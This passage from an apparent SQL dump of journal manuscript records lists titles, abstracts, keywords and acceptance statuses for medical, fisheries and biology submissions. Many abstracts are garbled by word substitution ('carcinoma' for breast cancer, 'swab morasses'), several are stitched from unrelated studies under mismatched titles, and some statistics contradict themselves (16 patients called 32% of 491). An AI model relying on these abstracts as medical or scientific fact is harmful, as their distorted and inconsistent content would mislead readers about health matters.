poor prognosis and clinical challenges in management. To date, the mechanism of bone metastasis in carcinoma remains for the most part unclear. Differentially expressed genes in primary tumours that developed bone metastases were consistently analysed mistreatment each TCGA-BRCA and E-MTAB-4003 databases. Adaptation makeup within the subsequent bone lesions was analysed within the GSE46161 info. A series of biomarkers as well as orientating, immune escape, ontogenesis, and factors concerned in each osteoblast genesis and osteoclast genesis were enclosed to dissect the molecular events underlying bone metastasis in carcinoma.','Breast cancer; Predisposition; Osteolytic and osteoblastic; Bone cancer; skin cancer;',3142,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12954,13166,959,0,'ipacr-22-12954','Theranostics-based electrical cancer treatment for solid tumours',NULL,5,0,'','According to the Centers for unwellness management and bar (CDC), quite 700,000 ladies are diagnosed with cancer within the last 5 years. Cancers of the breast, cervical, ovarian, lung, uterine, and thyroid ar among the foremost current cancers in ladies For over a century, surgery, radiation, and pharmaceutical treatment are the cornerstones of cancer treatment. once used alone or together, these medicines have improved therapeutic outcomes for patients with a spread of solid and diffuse malignancies, however there\'s still a major unmet demand for improved survival and quality of life. As seen by the advancement from initial laboratory observations to the completion of multiple clinical trials, electrical-based cancer therapies have created exceptional progress as a possible therapeutic agent for the treatment of the many solid tumours. The combined impact of TTFields and paclitaxel exaggerated apoptosis-mediated anti-mitotic neoplasm progression inhibition. Finally, this study provides an outline of the foremost common feminine cancers still as AN up-to-date assessment of the medical care choices for these diseases. It additionally covers the utilization of electrical module medical care for sure tumours, its reputed mechanisms, and a synthesis of its advantages and downsides throughout cancer treatment.','chemo radiation; surgery, radiation; single-cell genomics; spatial genomics; pharmaceutical treatment',5400,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12955,13167,91,0,'ijddr-22-12955','Mycobacterium Oral Immunogenicity Tuberculosis Infection',NULL,5,0,'','Orientation and considerations. The long-term success of kidney transplant recipients is hampered by post-transplant tuberculosis (TB). In order to demonstrate the pattern, risk factors, and prognosis of TB infection in our transplant patients, it was important for us to provide specific examples. Patients and techniques this study involved a retrospective analysis of the medical records of 491 people who received kidney transplants at our hospital between January 1986 and December 2009. The demographic information, transplant characteristics, clinical symptoms, diagnostic standards, treatment approach, and long-term prognosis of this patient cohort were examined. 16 patients (32%), with a mean age of 32,5 12,7 (range: 13-60) years and a mean post-transplant time of 36,6 months, acquired post-transplant TB (range: 12,3 months–15,9 years). 10/16 (62,6%) of the illnesses had pulmonary manifestations. The ESAT6 and CFP10 lines of transgenic carrot plants have been developed to produce Mycobacterium tuberculosis proteins. For ESAT6 and CFP10, the target proteins are present in carrot storage roots at concentrations that are not less than 0.056% and 0.002% of the total storage protein (TSP), respectively. Oral vaccination of mice results in the induction of both humoral and cell-mediated immunity, as has been demonstrated. These results indicate that the proteins under consideration are suitable as a potential edible tuberculosis vaccine.','Tuberculosis; Vaccine; Mycobacterium',4127,NULL,'2022-08-19',NULL,'Submitted',12,NULL,'2022-08-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12956,13162,91,0,'ijddr-22-12956','Biphase Drug Delivery Systems Carrying Nanocomposite Particles',NULL,5,0,'','Abstract\r\nMagnetite nanoparticles and poly (D,L-lactide-co-glycolide) (PLGA) were combined to create drug-carrying magnetic nanocomposite spheres for magnetic targeted drug delivery. Through the chemical coprecipitation of ferric and ferrous chloride salts in the presence of a potent basic solution, magnetic nanoparticles of magnetite (average size: 13 nm) were created (ammonium hydroxide). For the synthesis of nanocomposite spheres, an oil-in-oil emulsion/solvent evaporation process was used, with agitation lasting 1.5 to 2 hours at 7000 rpm. Specifically, acetonitrile (oily phase I) was used to dissolve the PLGA and drug, which was subsequently mixed with magnetic nanoparticles. Next, Span 80- and viscous paraffin oil-containing droplets were added in a dropwise fashion (oily phase II). Using dynamic laser light scattering (DLLS), scanning electron microscopy (SEM), transmission electron microscopy (TEM), and a superconducting quantum interference device, the nanocomposite spheres with various amounts (0%, 10%, 20%, and 25%) of magnetite were assessed in terms of particle size, morphology, and magnetic properties (SQUID). According to the findings, nanocomposite spheres with diameters ranging from 200 nm to 1.1 m are superparamagnetic over blocking temperatures close to 40 K and reach magnetization saturation beyond 5,000 Oe at ambient temperature.\r\nSuccessful attempts have been made to synthesise and analyse pseudopolyrotaxanes made composed of polyethylene glycol axes with end thymine groups and -cyclodextrin rings. The principal drug delivery system, PPR-Fl, was created by conjugating fluorescein, a model drug, to the hydroxyl functional groups of the cyclodextrin rings of PPR via ester bonds. By forming hydrogen bonds with a complementary molecule like polycitric acid, citric acid, or adenine, the PPR-Fl was finally sealed off. This research sought to modulate the noncovalent interactions between stoppers and thymine end groups in order to regulate the release of fluorescein-cyclodextrin conjugates from PPR-Fl, which served as secondary drug delivery systems. It was discovered that pH had the ability to regulate the rate of Fl-CD release from PPR-Fl.','Pseudopolyrotaxanes; Nanoparticles; Magnetite',4124,NULL,'2022-08-20',NULL,'Submitted',12,NULL,'2022-08-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12958,13168,45,0,'iphsj-22-12958','PREVALENCE AND ASSOCIATED FACTORS OF PRESSURE ULCER AMONG HOSPITALIZED PATIENTS IN DEBRE BIRHAN REFERAL HOSPITAL, NORTH SHOA ZONE, AMHARA, DEBRE BIRHAN, ETHIOPIA',NULL,14,0,'','Background: -Pressure ulcers are generally defined as restricted cell necrosis areas occurring on bony prominences unprotected to pressure for sufficiently long time to cause tissue ischemia. Preventing pressure ulcers can be nursing concentrated. An estimated pressure ulcer incidence rate of 8.3% to 25.1 % in developed countries,  and  2.1  %  to  31.3  %  in  developing  countries  is  exhibited.\r\nObjective: -to assess the prevalence and associated factors of pressure ulcer among hospitalized patients in Debre Birhan referral hospital Debre Birhan town from April 23/2018 to May 18, 2018.\r\nMethods: -Institution based cross-sectional study design was conducted in Debre Birhan Referral Hospital. The  sample size was 158.Data collection was  by questioner’s interview and physical examination .The collected  data was enter   into  Epi data  statistical software  and  then  exported  to  SPSS  version  20   for analysis. Finally, the finding of this study will be disseminated to Debre Birhan University College of Health Science Department of Nursing, DBRH and different responsible bodies. \r\nResult: A total of 40 pressure ulcer was detected from158 patients with the prevalence rate of 25.3%. Almost all 89.87% (142) admitted patients at Debre Birhan referral hospital had <=7 day’s length of stay in the hospitals. Those respondents whose BMI underweight had 68.1times [95% CI: AOR, 68.191(3.055-1522.261)] more likely to develop pressure ulcer than those who are overweight and those who had got position change service were 34.2times [95% CI: AOR, 34.205(3.955-295.866)] more likely to develop pressure ulcer than who did not get the service \r\nConclusions: In this study the highly prevalent stage is stage I and in terms of anatomical location Grater trochanter is more observed area. Patients were more liable to develop pressure ulcer when they are underweight and not change their position frequently. To have supportive device available in the hospital and Braden RAS tool formats should be accessible. ','Debre Birhan, patients, Pressure ulcer, prevalence',458,NULL,'2022-08-20',NULL,'Submitted',2,NULL,'2022-10-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12960,13169,975,0,'ipjbs-22-12960','Using Two Methods of Decision Tree and Regression in Identifying the Most Effective Factors in the Occurrence of Hepatitis C Diseases, Hepatitis C with Fibrosis and Hepatitis C with Cirrhosis and Checking the Results and Accuracy of These Two Methods',NULL,16,2,'hepatitis C disease','One of the common disorders of the liver is the hepatitis C virus, which after a period causes serious damage to the liver and the failure of this important organ. This disease can improve or progress to liver fibrosis or cirrhosis. In this regard, this research focuses on the identification of effective factors and the extent of these factors in the occurrence of hepatitis C disease and two other types along with liver fibrosis or cirrhosis so that doctors and patients can pay more attention to these factors and avoid the occurrence of the disease. In this research, using the information related to blood donors, the implementation operation is carried out to identify the effective factors in the occurrence of disease in these persons. This research uses the two techniques of decision tree and regression to carry out the implementation work, and finally the efficiency of each is examined and compared. At the end of this research and after examining the results of modelling methods, the three factors ALB, AST and CHE are known as the most effective factors in diagnosing the occurrence of hepatitis C and its advanced types. The results of this research show that the accuracy of diagnosis in This research with the decision tree method equals 94.57% and with the regression technique has an accuracy of 91.28%.','hepatitis C; decision tree; regression; data mining; liver diseases',3460,NULL,'2022-08-21',NULL,'Submitted',2,NULL,'2023-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12964,13173,45,0,'iphsj-22-12964','Assessment of the awareness levels on sexual transmission diseases among secondary school students in Northern Nigeria',NULL,14,0,'','Background:\r\nSexually Transmitted diseases (STDs) are societal problems that could result in tremendous health, social and economic consequences. Due to certain socio-cultural beliefs, certain regions of Nigeria could be poorly aware of STDs and their consequences especially in the adolescents. Hence the need for assessment and health education on STDs in the adolescent population.\r\nObjectives:\r\nThis study aims to assess the awareness levels of sexual transmission diseases among adolescents in selected public secondary schools in Sokoto State, Nigeria. \r\nMaterials and methods:\r\nThis was a cross-sectional and questionnaire-based survey on 346 randomly selected adolescent students aged 10 – 19 years from secondary schools. Using a pre-tested structured questionnaire, data on participants\' sociodemographic variables and responses related to their knowledge and awareness about STDs were collected. The responses were scored and analysed using Statistical Package for Social Sciences (SPSS) version 23.0. \r\nResults: \r\nOf all the participants, 306 (76.0%) were females, and most of the students, 220 (63.6%) indicated their peers as the major sources of information about STDs, whereas the least was via mass media, 30 (8.7%).  Overall, 65.1% of the students do not discuss with their parents on adolescent reproductive health, 80.3% disagreed that reproductive health facility exists in our community/neighbouring community, and all (100.0%) agree that secondary school students need inclusion in sex education in their curriculum. Also, 70.0% do not believe in having a friend from the opposite sex. Over 65% do not know the major etiological agents of STDs. \r\nConclusion: \r\nBased on these findings, the level of knowledge on STDs among adolescents was low. The secondary school students held a negative view of the existence of reproductive health care facilities in schools and communities. All the respondents submitted that lack of knowledge is one of the factors that influence adolescents’ attitudes and practices. \r\n','Sexually transmitted diseases; Contraceptive; Preventive knowledge; Sexual and reproductive health; Adolescent health; Nigeria ',456,NULL,'2022-08-22',NULL,'Submitted',2,NULL,'2022-10-17',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12965,13174,73,0,'ipjnn-22-12965','Digoxin Medical Uses and Its Side Effects',NULL,15,2,'Clinical Neurology and Translational Neuroscience','','',4796,NULL,'2022-08-23',NULL,'Submitted',2,NULL,'2022-11-08',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12968,13176,667,0,'iptb-22-12968','Models of Companion Animal and Human Interventions by Translational Geroscience',NULL,5,0,'','In order to optimise healthy, disease-free lifetime, translational gerosciencean interdisciplinary area developed from basic gerontology seeks to identify, validate, and clinically deploy therapies. In this review, we outline a research pipeline for the discovery and approval of therapies that increase lifespan. Interventions are first discovered in invertebrate model systems, followed by their characterization in additional invertebrate model systems, genetic diversity models, and disease models. Then, treatments in mammalian systems can be verified using vertebrate model systems, particularly mice. A crucial tool for evaluating the resilience of interventions in mice with different genetic backgrounds is collaborative, multi-site efforts like the Interventions Testing Program.','Translational Gerosciencean Interdisciplinary,nicotinamide riboside',3933,NULL,'2022-08-23',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12969,13178,959,0,NULL,'International Association for Lung Cancer Research 2019 Coronavirus Disease Impact Study on Global Lung Cancer Clinical Trials',NULL,19,0,'','To evaluate the consequences of the worldwide coronavirus illness 2019 (COVID-19) pandemic on carcinoma trials, we tend to surveyed investigators and picked up combination enrolment information for carcinoma trials across the planet before and through the pandemic. A Data assortment Survey collected combination monthly enrolment numbers from 294 international carcinoma trials for 2019 to 2020. A 64-question Action Survey evaluated the impact of COVID-19 on clinical trials and known mitigation methods enforced. Carcinoma is that the leading reason for cancer-related death within the us, with a mean five-year survival rate of fifteen p.c. Smoking remains the predominant risk issue for carcinoma.','Lung cancer; lung Cancer Screening; Pre clinical model; Organoids ',5400,NULL,'2022-08-23',NULL,'Submitted',4,NULL,'2022-08-23',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12970,13179,667,0,'iptb-22-12970','Next Generation of Translational Neuroscientists by Found in Translation',NULL,5,0,'','The field of neuroscience and its workforce are expanding quickly. According to the WHO, neuropsychiatric diseases are the leading cause of health care spending in the country, accounting for almost of disability-adjusted life years. There is a high demand for the quick translation of basic science discoveries into clinical application for the development of pharmacologic therapies, diagnostics, biologics, and devices due to the ageing population and the increased survival rate as a result of therapeutic successes in many areas of medicine. To maintain and expand our pool of young scientists and doctors, we must overcome a number of obstacles, including supporting them during their formative years of training; giving them stable career options, securing funding for their research, and enabling their discoveries to more effectively advance clinical care.','Neuroscience; Pharmacologic Therapies; Metabolomic Tests',3933,NULL,'2022-08-23',NULL,'Submitted',2,NULL,'2022-08-26',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12972,13181,996,0,'ipar-22-12972','Chronic and Acute Knee Pain Associated With Trauma',NULL,5,0,'','As the knee has the largest articulating surface of any joint and is weight bearing, it is not surprising that it is among the most commonly injured body parts. Acute knee pain accounts for over one million emergency department visits and more than 1.9 million primary care outpatient visits annually in the United States alone [1,2]. The evaluation of knee pain most likely caused by musculoskeletal injury from acute trauma, chronic overuse, or a combination of these, particularly as this may occur in athletic and active adults, is reviewed here. The topic includes details about obtaining an effective history and a general scheme for differentiating among the causes of musculoskeletal knee pain based upon the history and key clinical findings. ','Knee pain, Patellofemoral joint, Tibiofemoral Joint',3649,NULL,'2022-08-23',NULL,'Submitted',2,NULL,'2022-09-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12973,13182,639,0,'ipfs-22-12973','Aquatic Systems: Marine Submarine Ecosystem',NULL,5,0,'','Submarine Ecosystems are classified into two types as brackish ecosystems and marine ecosystems. The territories of the open swell and conterminous littoral zones are classified under marine ecosystems. In addition to these, marine ecosystems also include the swab morasses and washes located along the props and swash mouths. Within the littoral zone, several unique territories like arms, tidal coves, and foreshore ecosystems are also included. Aimilar zones including arms contain the niche of both brackish and swab water. The subject of Physical terrain includes the study of all these ecosystems. The following aspects are to be studied under marine ecosystems Characteristics of Marine Ecosystems, abysses, Arms, On- reinforcement ecosystems, Coral reefs. Life on earth is supported by the girding ecological conditions and the natural coffers. mainlands and abysses are the two major divisions, comprising of all the life and also the ecosystems throughout the world. About 75 of the earth’ face is covered with oceanic waters which has a veritably rich wealth of marine life. The ocean is a major source of food, energy, and mineral coffers. Abysses also control the globalclimate. However, also we\'ve to say that beast biomass dominates the oceanic waters, if we say that land is dominated by factory biomass. Water- grounded living surroundings are called as submarine ecosystems. Submarine Ecosystems are classified into two types as brackish ecosystems and marine ecosystems. The territories of the open swell and conterminous littoral zones are classified under marine ecosystems. In addition to these, marine ecosystems also include the swab morasses and washes located along the props and swash mouths. Within the littoral zone, several unique territories like arms, tidal coves, and foreshore ecosystems are also included. Similar zones including arms contain the niche of both brackish and swab water. The subject of Physical terrain includes the study of all these ecosystems.','Submarine Ecosystem; Biodiversity; Conservation; Restoration',1776,NULL,'2022-08-23',NULL,'Submitted',14,NULL,'2023-01-17',NULL,1,1,'1','Accept ',0,'','',NULL,0,0,0,NULL,0),(12974,13183,639,0,'ipfs-22-12974','Fresh water and fisheries: Methodology',NULL,5,0,'','Freshwater aquaculture production in 2011 was 44.3 million tons or 29% of world fisheries production. Roughly 95% of this production was from Asia – China was the leading country. Ponds are the common culture system, but raceways, cages, net pens, and water re-use systems are important. Seed stock for grow-out is produced in hatcheries from farm-reared brood stock. Fertilizers, feeds and mechanical aeration increase production in ponds. Competition with agriculture for land and water, wetland destruction, water pollution, and lack of fish meal and oil for use in feeds could limit aquaculture. There is an effort to avoid these impacts.\r\nAquaculture, freshwater or marine, is dependent upon good water quality to sustain maximal fish growth. Ammonia and nitrate are toxic to fish. NH3 should be kept at levels below 0.05 mg l−1. Nitrite (NO2) should be kept below 0.5 mg l−1. Aerobic bacteria play a key role in detoxifying ammonia. Nitrosomonas bacteria convert NH3 to NO2, and Nitrobacter bacteria convert NO2 to NO3. For every milligram of ammonia converted about 5 mg of oxygen is consumed. An additional 5 mg of oxygen is required to satisfy the oxygen demand of the bacteria involved. Thus, reduced concentrations of dissolved oxygen may contribute to increased concentrations of ammonia, nitrate, and phosphate in the water column. Phosphate, which is an essential element for life, can be detrimental to the biosphere in high concentrations. Since the discovery in 1988 by L. Liebermann that yeast contain granules (volutin) composed of high-polymer polyphosphates, a diverse group of microorganisms have been reported to effectively take up inorganic phosphate from the medium and convert them into biopolymers. Polyphosphates have been associated with the capsule in Neisseria gonorrhoeae, outside the plasma membrane, or as long-chain cytoplasmic reserves. In some microorganisms, these granules can account for as much as 25% of the weight of the organism and the process can be highly efficient in phosphate removal. For example, in the A/O process of activated sludge treatment, involving alternate anaerobic and aerobic cycles, a bacterial population (largely composed of a typical soil bacterium – Acinetobacter lwoffi) that accumulates polyphosphate even under extremely low phosphate concentrations is enriched. Since the consortium in the A/O process denitrifies ammonium as well as removes phosphate from the environment, it provides attractive possibilities for aquaculture. A variation of this has already been incorporated into the sequencing batch reactor for recirculating aquaculture systems. Despite the disparities in size and volume of marine and freshwater realms, a strikingly similar number of species is found in each – with 15 150 Actinopterygian fishes in fresh water and 14 740 in the marine realm. Their ecological and societal values are widely recognized yet many marine and freshwater fishes increasingly risk local, regional or global extinction. The prevailing threats in aquatic systems are habitat loss and degradation, invasive species, pollution, over-exploitation and climate change. Unpredictable synergies with climate change greatly complicate the impacts of other stressors that threaten many marine and freshwater fishes. Isolated and fragmented habitats typically present the most challenging environments for small, specialized freshwater and marine fishes, whereas overfishing is by far the greatest threat to larger marine and freshwater species. Species that migrate within or between freshwater and marine realms may face high catchability in predictable migration bottlenecks, and degradation of breeding habitat, feeding habitat or the intervening migration corridors.\r\n','Fresh water fisheries',1771,NULL,'2022-08-23',NULL,'Submitted',2,NULL,'2022-09-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12975,13184,326,0,NULL,'Surgery Department Tepecik Training and Research Hospital, Izmir, Turkey',NULL,19,2,'','During the last 10 years, minimally invasive surgery has influenced the techniques used in every specialty of surgical medicine. This development has not only led to the replacement of conventional procedures with minimally invasive ones, but has also stimulated surgeons to reevaluate conventional approaches with regard to perioperative parameters such as pain medication. However, two major drawbacks have emerged with the introduction of this new technique: firstly, the prolonged learning curve for most surgeons, in comparison with the learning process in open surgery; and secondly, increased costs due to investment in the equipment required and the use of disposable instruments, as well as longer operating times. In the various health-care systems around the world, these increased costs are not always compensated for by shorter hospital stays. This review focuses on major areas of indication for minimally invasive surgery in the gastrointestinal tract. These include functional disorders of the upper and lower gastrointestinal tract, obesity surgery, minimally invasive techniques in gastric and hepatobiliary surgery and in other solid organs, and laparoscopic colorectal surgery. The shortening of the hospitalization period has led to increasing use of outpatient laparoscopic surgery, and many centers specializing in day-care surgery are using these techniques [1]. The frontiers are being pushed even further, as the size of the instruments is reduced to achieve better cosmetic results. Clinical research has also focused on the topic of expanding the indications for minimally invasive approaches in the elderly and in high-risk patients, to take advantage of the shorter hospital stays and reduced surgical trauma that are possible. A considerable amount of basic research has been carried out on the stress response during and after minimally invasive procedures, and an improved immune response with the minimally invasive approach has been observed, leading to better results after extensive oncological procedures. Robotic surgery and telesurgery involve new computer-aided methods that allow greater precision in surgical technique, as well as offering an opportunity to supply surgical skill and expertise remotely, over long distances [2]. Minimally invasive surgical techniques are thus now fully established in routine use, and the indications are continuing to expand.','Pneumothorax; minimally invasive procedures; video-assisted thoracoscopic surgery (VATS)',2505,NULL,'2022-08-23',NULL,'Submitted',4,NULL,'2022-12-08',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12977,13018,73,0,'ipjnn-22-12977','Migraine with aura, a significant and independent risk factor for ischemic stroke',NULL,9,0,'','Migraine is the most common type of headache in young adults mainly in women. It has been reported by some observational studies as an independent risk factor for ischemic stroke. We report the case of a migrainous patient who presented an ischemic stroke following a prolonged episode of visual aura. His only other risk factor was smoking.','migraine, visual aura, ischemic stroke',329,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-09-21',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12978,13189,639,0,'ipfs-22-12978','Fishing gear and its methods',NULL,5,0,'','Fishing gear and methods used in Uganda are both modern and traditional. Fish in Uganda are caught mostly with plank canoes and to a lesser extent, fiberglass boats. Some dugout canoes are also still being used. The plank canoes are generally 4-12 m (13.12-39.37 ft) in length and dugout canoes average 3.5 m (11.48 ft). The total number of vessels is about 17,000 and about 20% of these are motorized. Artisanal fishermen use various gear including gillnets, seines and hook and line. In a number of localities, traditional methods including baskets, traps and mosquito nets continue to be used.[2] The gear commonly used includes gillnets, lift nets, scoop-nets used in light fishing; hook and line gear (hand-lines, fishing rods or tackles) and fish traps.','Fishing gear, Sea urchins, Starfish',1771,NULL,'2022-08-24',NULL,'Submitted',14,NULL,'2023-01-31',NULL,1,1,'1','Accept ',0,'','',NULL,0,0,0,NULL,0),(12979,13190,996,0,'ipar-22-12979','Rheumatoid Arthritis: Diagnosed and Treatment',NULL,5,0,'','Rheumatoid arthritis (RA) is a debilitating autoimmune disease with grave physical, emotional and socioeconomic consequences. Despite advances in targeted biologic and pharmacologic interventions that have recently come to market, many patients with RA continue to have inadequate response to therapies, or intolerable side effects, with resultant progression of their disease. In this review, we detail multiple biomolecular pathways involved in RA disease pathogenesis to elucidate and highlight pathways that have been therapeutic targets in managing this systemic autoimmune disease. Here we present an up-to-date accounting of both emerging and approved pharmacological treatments for RA, detailing their discovery, mechanisms of action, efficacy, and limitations. Finally, we turn to the emerging fields of bioengineering and cell therapy to illuminate possible future targeted therapeutic options that combine material and biological sciences for localized therapeutic action with the potential to greatly reduce side effects seen in systemically applied treatment modalities.','Rheumatoid arthritis, systemic autoimmune disease ',3649,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-09-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12981,13191,251,0,'ipacm-22-12981','Medical Microbiology: Diseases',NULL,5,0,'','Antonie van Leeuwenhoek, in 1674, first saw what he called “ammalcules”-bacteria and protozoa — in biological samples, including those taken from his own body. Many important developments related to clinical microbiology took place during the latter part of the 19th century. In 1875, F.J. Cohn published an early classification of bacteria, using the genus name Bacillus for the first time. Robert Koch described anthrax in 1876, the culture plate technique in 1881 and the aetiology of tuberculosis in 1884. He was awarded the Nobel Prize for his contributions to medicine in 1905. Joseph Lister demonstrated the isolation of bacteria in pure culture, Louis Pasteur introduced the concept of vaccination with attenuated microorganisms and Paul Ehrlich demonstrated the formation of antibodies, all during the 19th century. Since then, medical microbiology has evolved at an explosive rate (ASM, 1999). A wide variety of emerging pathogens continue to be described as various advances are made in medicine (CDC, webpage). During the last two decades, molecular diagnostic techniques have led to a revolution in our abilities to identify, classify and understand microorganisms. Increasing numbers of diagnostic tests, including those commercially available, are based on molecular techniques. Some enthusiasts predict that they may replace culture as the routine laboratory method of investigation.','Medical Microbiology, Clinical microbiology ',783,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-09-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12982,13062,86,0,'ipaom-22-12982','Health Situation of Black and Poor Women Facing COVID-19: Victims of Inequalities',NULL,5,0,'','A woman dies every seven hours in Brazil victim of feminicide. Maternal mortality of black women due to COVID-19, the new coronavirus, is almost twice as high as that of white women. Studies were identified using large-circulation international journals found in two electronic databases: Scopus and Embase. This idea of the black and poor woman as disposable or unnecessary has an enormous race influency. In this context, the burden that the pandemic can cause to the country\'s health system may further expose the structural racism that goes through health care. Maternal mortality of black women due to COVID-19, the new coronavirus, is almost twice as high as that of white women. Thus, the concentration of efforts to approach COVID-19 in medical-centred care measures decontextualized, not only in relation to people\'s way of living and getting sick, but also, with other knowledge, also corroborate the high incidence and lethality rates of COVID-19.','sick',5013,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-08-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12983,13192,251,0,'ipacm-22-12983','Non-Tuberculosis Mycobacterial Lung Disease and Infection',NULL,5,0,'','Mycobacterial infections are complex diseases and are even more in individuals suffering from immune-mediated inflammatory diseases (IMIDs). They can cause tuberculosis, nontuberculous mycobacteria (NTM) pulmonary infections, other localized NTM or disseminated infections, leprosy, and chronic ulcers (Buruli ulcer). IMID-afflicted patients are at increased risk; often have atypical clinical presentations and unusual or complicated clinical courses during therapy. Providers taking care of individuals with IMID must have some knowledge about mycobacterial infections to recognize and diagnose the disease. They should not treat those infections alone and should look for expert guidance. Treatment usually implies multiple drugs that can cause severe side effects. This hazard can be reduced with judicious selection of therapeutic agents and close monitoring. Prevention of disease acquisition, reactivation, and recurrence should also be sought. ','Mycobacterial infections, Mycobacterial Disease',779,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12984,13062,86,0,'ipaom-22-12984','Social Disparities: Systematic Review of Health Care for the Afro-Brazilian Population',NULL,5,0,'','The number of medications currently on the market is incalculable, and their prescription is steadily increasing, raising the risk of severe effects. Currently, the entire population is exposed to a variety of pharmacologic substances, the majority of which are toxic and used without scientific explanation. Even more pharmaceuticals are consumed without medical supervision or prescription, unintentionally, with food, herbal remedies, and over-the-counter medications. This result in widespread toxicity that is difficult to detect, frequently goes unnoticed, and can be highly harmful.','herbal remedies,',3888,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-08-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12985,13062,86,0,'ipaom-22-12985','Chronic Thromboembolic Pulmonary Hypertension',NULL,5,0,'','The pulmonary circulation is a low-pressure, high-flow circuit that is well-suited to efficient gas exchange. Pathological events in the pulmonary circulation can severely disrupt ventilation– perfusion matching, resulting in increased dead space, or raise pulmonary vascular resistance, exerting additional strain on the right ventricle, eventually leading to right heart failure. The pathogenesis, clinical presentation, diagnosis, and management of two main illnesses affecting the pulmonary circulationpulmonary thromboembolism and pulmonary hypertension.','sick',4014,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-08-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12986,13062,86,0,'ipaom-22-12986','Neurogenic Parkinson\'s disease effects on EEG signal through deep recurrent neural network',NULL,5,0,'','In the context of critical care, this article will offer a narrative assessment of the data pertaining to theories, diagnoses, and treatments for neurogenic pulmonary edoema (NPE). Although the precise mechanisms causing NPE are still unknown, putative mechanisms for the condition include increased catecholamine release, increased vagal tone, and increased capillary permeability. This is known as the \"blast injury theory\" because it causes pulmonary vasoconstriction as a result. The diagnosis entails spotting pulmonary edoema symptoms in the presence of a brain damage, and the most effective treatment methods seem to be those that aim to preserve a normal physiological condition. Any acquired lesion to the brain constitutes an acute brain injury (ABI), which is a major global cause of morbidity and mortality. Twenty to thirty percent of people with ABI get lung damage. Despite being a significant complication, neurogenic pulmonary edoema (NPE) is frequently underdiagnosed.','pulmonary',2890,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-08-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12987,13193,975,0,'ipjbs-22-12987','Covid-19 Epidemiology in Kabul, Afghanistan ',NULL,14,0,'','On 31 December 2019, a new coronavirus was discovered in China, which is a respiratory disease and has spread to almost all the world including Afghanistan.\r\nThe aim of this study was to describe the mentality/awareness of people, the signs and symptoms they have experienced, and how they followed medical protocols to protect themselves and others against Covid-19.\r\nA cross-sectional survey was conducted on 307 respondents. Data were collected by a valid and reliable questionnaire including ten questions from different types of people in different places in Kabul from (2021-08-12 To 2021-10-25), after collecting the data IBM SPSS Statistics 20 was used for the analysis of the data.\r\nWe found that (13.3%) of the respondents are still not aware of Covid-19, and most of the respondents have experienced cough (65.9%), fever (78.9%), body pain (65.9%), loss of taste or smell (44.9%), and headache (55.1%). The study found that (39.7%) of participants were not wearing masks, (76.5%) didn’t keep a social distance and (25.4%) of them were not washing their hands. It also found that of 307 respondents 125 of them were vaccinated which 72 (57.6%) of them were between 21-35 years of age.\r\nCovid-19 is a highly infectious disease that is spreading rapidly around the world affecting more than 200 million people and more than 4 million people died due to Covid-19.\r\nMost people still do not know about Covid-19 (13.3%), do not follow medical protocols, and most of them have not been vaccinated. There is no specific treatment for Covid-19, it is very important to protect yourself and others against this infectious disease.\r\n','Covid-19, Covid-19 Epidemiology, Prevention ',4873,NULL,'2022-08-24',NULL,'Submitted',2,NULL,'2022-09-13',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(12988,13194,251,0,'ipacm-22-12988','Viral Infection and Types of Infection',NULL,5,0,'','Epidemiology is the study of the distribution, the dynamics, and the determinants of diseases in populations. The risk of virus infection and/or clinical disease is determined by characteristics both of the virus, and the levels of innate and acquired resistance in the community. Virus transmission is affected by behavioral, environmental, and ecological factors. Knowledge of these factors contributes to evidence-based policy decisions as to how best to control and prevent virus diseases. Considerable use of genome sequencing of isolates now provides useful information as to the identification of outbreak sources as well as informing the design and testing of candidate vaccines.\r\nEpidemiology is the study of the distribution, the dynamics, and the determinants of diseases in populations. The risk of virus infection and/or disease in a human population is determined by the characteristics both of the virus, and of susceptible individuals and of the host population such as innate and acquired resistance. In addition, virus transmission is affected by behavioral, environmental, and ecological factors. Virus epidemiology aims to meld these factors using quantitative measurements to provide a rational basis for explaining the occurrence of virus diseases and for directing disease-control measures, in particular the identification of outbreak sources and how best to implement prevention strategies. Epidemiology can also help to clarify the role of viruses in the etiology of diseases, understanding the interaction of viruses with environmental determinants of disease, determining factors affecting host susceptibility, clarifying modes of transmission, and the testing of vaccines and therapeutics on a 